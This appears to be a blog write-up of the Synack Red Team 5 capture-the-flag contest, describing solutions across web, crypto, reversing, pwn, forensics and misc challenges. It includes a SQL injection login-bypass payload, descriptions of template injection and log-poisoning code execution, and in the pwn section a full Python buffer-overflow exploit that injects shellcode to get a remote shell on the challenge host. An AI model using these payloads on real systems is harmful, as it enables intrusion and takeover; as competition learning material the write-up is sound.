Home Synack Red Team 5 CTF
Post
Cancel

Synack Red Team 5 CTF

Synack Red Team 5 CTF was (iirc) my third CTF, and the first in which I actually managed to score some decent points. It’s a jeopardy-styled CTF featuring 6 categories (web, pwn, crypto, forensics, misc, and reversing). I managed to solve 16 out of the 25 total challenges, solving at least one challenge in each category. My strongest category was web, in which I solved 5 out of 6 challenges. I eventually finished 46th out of 333 participants, which was narrowly within my target of top 50, and for that I am happy :)


Web

SimPlay

This was a web challenge with downloadable source code. Going through the source files, the file TimeModel.php was found to be making a call to eval() using user-controlled data that was passed to it by TimeController.php

I exploited this to identify, and read the flag;


PotentQuotes

This challenge featured a login form asking for username and password. The username field was vulnerable to SQL Injection, and authentication was bypassed using the payload admin' or 1=1-- -.


BoneChewerCone

The website in this challenge was vulnerable to Server Side Template Injection (SSTI). The flag was found in the output of config.items()


IMF - Landing

This was a fun web challenge that features Local File Inclusion (LFI) vulnerability in the website served by Nginx. It was a PHP site, and I was able to gain code execution by chaining the LFI with log poisoning to execute PHP payloads;


The website in this challenge had a feature that allowed users to search for “agents”. It was NodeJS application, and it’s vulnerable to Server Side Template Injection (SSTI) using the pug engine;

Using some node tutorials to execute shell commands, I was able to craft a payload to execute a shell command on the host, but I could not get it to return any output. Attempts to redirect output to local files so I can read it using GET requests were unsuccessful as the server appeared to be only allowing requests to paths with existing mappings.

I was eventually able to read output by overwriting the site’s logo, and then viewing it using curl;


Crypto

Weak RSA

This is a downloadable challenge that provide a public key, and an encrypted message. Using the program https://github.com/Ganapati/RsaCtfTool, and openssl, I was able to decrypt the message after recovering the private key;


Reversing

Access

This was a simple reversing challenge that I solved by patching the binary using cutter, forcing it to continuously execute the block of code that compares user input to the hidden key, which I extracted one character at a time;


Check

This challenge provides a binary that compares user input to a value. I was able to solve this by setting a breakpoint where the comparison was carried out, and dumping the data at the memory location using radare2;


Split

The binary in this challenge tests user input against an encrypted string. The encrypted string is decrypted just before the comparison was made, and I was able to dump it by setting a breakpoint at the location;


Pwn

Injection

This challenge provides a downloadable binary and a TCP service through which the program can be accessed using tools like netcat. The downloaded binary gives an address during interaction with user, which was found to be the address of a buffer used to store user input without checking size, leading to buffer overflow;

So I crafted an exploit in python that inject shellcode in the input buffer, and used the given address to overwrite the instruction pointer;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/python3

from time import sleep
import socket
from binascii import unhexlify

shellcode = open("dash.bin", "rb").read() # A 64-bit /bin/sh shellcode
padding = ("A" * 18).encode()

conn = socket.socket()
conn.connect(('46.101.21.240', 31877))
print(conn.recv(1024))
conn.send("1\n".encode()) # Select the first option
# Extract the memory address
data = str(conn.recv(1024))
addr = data.split("[")[1].split("]")[0]
addr = addr[2:]
print(addr)
rip = unhexlify(addr)[::-1]
print("%r" %(rip))

# The final payload
payload = shellcode + padding + rip
conn.send(payload)

# Interactive shell for user commands.
sleep(1)
print(conn.recv(9999))
while True:
  command = input("Input > ")
  if command:
    command += "\n"
    conn.send(command.encode())
  print(conn.recv(1024))

The above code gave me an interactive command shell on the box;


Forensics

Sneaky

This was a very easy forensics challenge on a .pcap file. Going through the file in wireshark showed a POST request containing the flag;


Top Secret

This challenge featured packet analysis on a .pcap file captured during an FTP transfer of a PDF file. The PDF was extracted using wureshark, and it’s MD5 hash was the flag;


Endurance Run

This challenge provides a windows registry file NTUSER.DAT obtained from a hacked computer. Using hivexsh, I was able to locate the flag in the registry, which wasn’t easy because hivexsh has no search feature or even tab auto-complete. I had to used hivexml to convert the whole registry file to an XML, which I then opened on a browser and used the “find” function to locate possible flags. I then used windows cmd prompt running on wine to decode the flag;


Phishin Impossible

This challenge provides .pdf file that was found to contain an embedded file named secret_info.SettingContent-ms. The file was extracted, and found to contain the flag, which had to be joined from fragments in the powershell command;


Misc

Blobber

This challenge provides an obfuscated JavaScript file message.js, that uses String.fromCharCode() to load another JavaScript code. The other JavaScript code has a variable named file that was set to a base64-encoded string. Decoding the string, I got a PDF file that contained the flag;


ConText

This challenge provides an obfuscated JavaScript file. It uses a lookup table to decode strings used to reference other things, which I was able to decode using the JS console in Firefox. The JavaScript has a function named flag() that takes a signle string argument, which must be the ID of a 2D canvas in the current page. It uses the canvas to draw an image, which contains the flag for the challenge;

So I setup a basic HTML page that loads the script and create a canvas, the ID of which I used to call flag() in the JS console;

This post is licensed under CC BY 4.0 by the author.
Contents